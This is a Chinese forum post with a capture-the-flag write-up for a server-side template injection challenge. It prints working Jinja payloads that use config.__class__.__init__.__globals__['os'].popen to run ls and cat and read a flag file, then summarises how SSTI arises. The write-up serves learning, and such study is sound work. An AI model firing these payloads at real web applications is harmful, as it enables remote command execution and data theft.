Simple_SSTI_2(WEB)

打印 上一主题 下一主题

主题 966|帖子 966|积分 2900

这道题我也是第一次碰,不外我很好奇为什么我不从SSTI_1开始做
##解题思绪

拿到页面一串英文,告诉我们缺少一个flag参数,于是我令flag=1,于是打印了1,输入各种语句也是,原封不动变为传入的字符串

根据题目提示,查了下SSTI,于是得知这道题大概用了SSTI模板注入,因此我们需要验证下
如果{{7*7}}实行结果为49的话,说明,这就是SSTI模板注入!
使用:{{ }} 除了可以输出传递的变量以外,还能实行一些基本的表达式然后将其结果作为该模板变量的值
{* *}是注释,a{* *}b被模板渲染的结果应该为ab
_class_返回一个实例所属的类__init__查看类是否重载,重载是指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper的字眼,说明没有重载函数名 .__globals__获取 function 所处空间下可使用的 module、方法以及所有变量os.popen()用于从一个命令打开一个管道open()用于打开一个文件,并返回文件对象config当前application的所有配置。 此外,也可以如许{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} 至于模板类型,如图,绿色就是成功实行,红色就是实行失败

先ls查看当前目次下有什么文件或目次,有个app目次?进去看看

  1. /?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../').read() }}
复制代码
发现/app目次下有个flag文件

  1. /?flag={{ config.__class__.__init__.__globals__['os'].popen('ls ../app').read() }}
复制代码
将ls改成cat读取到flag文件内容,得到flag
  1. /?flag={{ config.__class__.__init__.__globals__['os'].popen('cat ../app/flag').read() }}
复制代码

##参考链接:

SSTI(模板注入)漏洞(入门篇):1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
SSTI模版注入(初步):SSTI模版注入(初步)_ssti模板注入-CSDN博客
BUUCTF SSTI模板注入:BUUCTF SSTI模板注入 - 高人于斯 - 博客园
##总结

SSTI 服务器端模板注入(Server-Side Template Injection)
原理:用户的输入先进入Controller控制器,然后根据哀求类型和哀求的指令发送给对应Model业务模型举行业务逻辑判断,数据库存取,末了把结果返回给View视图层,颠末模板渲染展示给用户。
利用点:服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部门,模板引擎在举行目标编译渲染的过程中,实行了用户插入的可以破坏模板的语句,因而大概导致了敏感信息泄露、代码实行、GetShell 等问题。
注意:凡是使用模板的地方都大概会出现 SSTI 的问题

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

南七星之家

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表